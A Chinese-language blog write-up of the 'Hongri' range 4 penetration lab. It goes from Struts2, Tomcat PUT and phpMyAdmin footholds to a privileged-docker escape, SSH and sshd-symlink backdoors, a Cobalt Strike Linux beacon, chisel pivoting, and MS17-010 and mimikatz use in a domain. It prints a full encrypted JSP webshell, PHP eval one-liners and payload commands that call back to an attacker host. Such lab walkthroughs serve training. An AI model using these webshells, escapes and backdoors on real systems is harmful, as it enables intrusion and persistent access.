红日靶场4-wp

红日靶场4

环境搭建

注:130网段为模拟外网网段,111网段为内网网段

机器 用户 密码 网卡
kali root / 192.168.130.19
web(ubuntu) ubuntu ubuntu 192.168.130.29
192.168.183.128(域)
DC(win2012) administrator Test2008/zxcvbnm123/ 192.168.183.130
域成员(win7) douser Dotest123 192.168.183.129
sudo docker start ec 17 09 bb da 3d ab ad

image-20221016233956877

🌏web打点

🚢信息收集

扫描192.168.130.0这个网段之后,对发现的29进行进行一步服务扫描,他在2001端口存在一个文件上传,标题中含有strut2.在2002上存在Tomcat2003上则是PHPmyadmin

image-20221016235346782

🏍️漏洞利用

Struts2

利用检查工具扫描,证实存在漏洞

image-20221017001310242

然后上传小马

image-20221017210127066

访问小马,这里上传地址,我填的和当前小马一样的位置/usr/src/src/main/webapp.内容则为哥斯拉的🐎

image-20221017220843663

哥斯拉连接

image-20221017224927314

Tomcat

访问2002,这里给出了Tomcat的版本,去网上搜索可以得知这个版本存在

image-20221017000016225

burpsuite抓包进行修改,首先修改方法为PUT,后面接上文件名,下面则为冰蝎🐎。放行后正常访问小马

PUT /bk.jsp/ HTTP/1.1 
Host: 192.168.130.29:2002 
Accept: */* 
Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 
Connection: close 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 533


<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

image-20221018002422390

冰蝎连接上,发现直接就是root了

image-20221018002627599

PHPmyadmin

可以发现是未授权访问

image-20221017204839798

搜索这个版本的发现存在文件包含http://192.168.130.29:2003/index.php?target=db_sql.php?/../../../../../../../../../etc/passwd验证也确实存在

image-20221018093316666

写入PHP探针,并查看session值

SELECT '<?=phpinfo()?>';

image-20221018094139532

利用session可以包含成功

http://192.168.130.29:2003/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_30a8c757f20ff84e5f9ab9211089105a

image-20221018094123183

但是后面写入一句话之后就是没有连接上

CREATE TABLE bktest(code VARCHAR(100));
INSERT INTO bktest(code) VALUES("<?php @eval($_POST[bk]); ?>")

image-20221018100917433

尝试全局日志写入shell,但后面发现当前用户权限太低根本不行

SHOW GLOBAL VARIABLES LIKE '%secure%' 
SHOW VARIABLES LIKE 'general%';
SET GLOBAL general_log='on'

想导出也发现方法没有开启

select @@secure_file_priv 
//select '<?php @eval($_POST[bk]) ?>' into outfile '/var/www/html/bk.php'

image-20221018111731364

🚀docker逃逸

由于上来就是root,所以要查看了一下所有文件,果不其然发现了dockerfile,说明此时为docker虚拟环境。

ls -al /

image-20221017221347572

其他检测是否为docker环境的方法还有这个环境检测命令,cgroup可以理解为用户和组的关系

cat /proc/1/cgroup

#组和子任务多的时候可以自己加入检索和判断
cat /proc/1/cgroup | grep -qi docker && echo "IS Docker" || echo "Not Docker"

image-20221017221304003

那如何检测是不是特权模式启动的docker呢,可以执行如下:因为如果是以特权模式启动的话,capeff对应的掩码值应该为0000003fffffffff

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

image-20221018003740477

列出宿主机的磁盘目录

fdisk -l

image-20221017225154792

但是Struts2得到的shell执行之后返回空,所以这里用的是Tomcat拿到的shell

image-20221018002713344

在本地创建一个文件夹,然后将/dev/sda1挂载到这个文件夹上,就可以以物理机的root访问,这里就相当于宿主机的根目录

mkdir /bk
mount /dev/sda1  /bk
cd /bk
ls

image-20221018012559542

这里首先在root目录下创建.ssh目录来更改公钥文件,将提前在kali本地生成的凭据上传并改名为 authorized_keys之后就可以ssh登录,但是这里要注意,应该是Ubuntu考虑密码安全性的原因,在生成公私钥时不要为空密码,复杂度也应该尽量大一些。

cd /bk/root/.ssh
cp bk.pub authorized_keys

//在kali生成的公私钥
ssh-keygen -f bk

ssh root@192.168.130.29 -i bk

image-20221018020634074

🌈权限维持

useradd test1 -g 0 -s /bin/bash
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345

为了接下来更好的进入内网操作,这里就选择了转战cs,没错cs也是可以上线Linux的。这里使用了插件,放在cs的目录下执行生成payload然后开启http服务供下载

./genCrossC2.Linux 192.168.130.19 443 .cobaltstrike.beacon_keys null Linux x64 /root/tmp/bktest

image-20221018020004084

下载运行之后上线cs

image-20221018020424300

🚩内网渗透

这边校园网断了我又重新上了一遍,把docker也带上线了。顺带汉化了一下热乎的cs。这边查看网络配置发现了一个网段

image-20221019205451709

但是突然想起那些其他的插件都不能在Linux上面用,在Linux探测主机存活都挺麻烦,就自己写了个简单的脚本传了上去。

#!/bin/bash
NET=192.168.183.
IP=1
while [ $IP -lt 255 ]
do
  let IP++
  if `ping -c2 -i0.2 -w2 $NET$IP &> /dev/null`
  then echo -e "$NET$IP is up"
  else echo -e "$NET$IP is down"
  fi
done

发现了128.129.130存活,但是接下来继续寻找脆弱资产一点都不方便

image-20221019213009554

但头铁想试一试,传了nmap上去。扫到129为win7,当前域为demo.com,而且开放了445,可能有永恒之蓝

image-20221019213810731

130上面也开放了445,但是接下来漏洞利用就不好搞了,不尝试了直接转战msf

image-20221019213558292

尝试让msf强制走cs的代理

image-20221019215404333

image-20221019215321649

这边vps也开放了端口但是不行,后知后觉目标机器不出网!

image-20221023231923757

老老实实上传了一个msf之后,就是添加路由入段,然后扫了一下win7和DC都有永恒之蓝,但打了很多很多次都不行

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.
168.183.126/24
set threads 100
run

image-20221019235027272

msf的代理时不时就断不是很稳定,于是就尝试用chisel做转发

./chisel_1.7.7_linux_amd64 client 192.168.130.29:9999 socks
./chisel_1.7.7_linux_amd64 server -p 9999 --socks5

image-20221024100334213

过一会很快就拿到session了

image-20221020010316386

上来先load kiwi拿一下凭证

image-20221101221029862

但是这里管理员的密码拿不到,拿去解密也解不出来,用run post/windows/manage/enable_rdp打开远程桌面端口之后登不上去。最最关键的是shell切不进去,真的搞

image-20221102001630481

当前的用户也无权登入,没办法了就到这里了

image-20221102001435476

posted @ 2022-11-18 18:46  lockly  阅读(949)  评论(0编辑  收藏  举报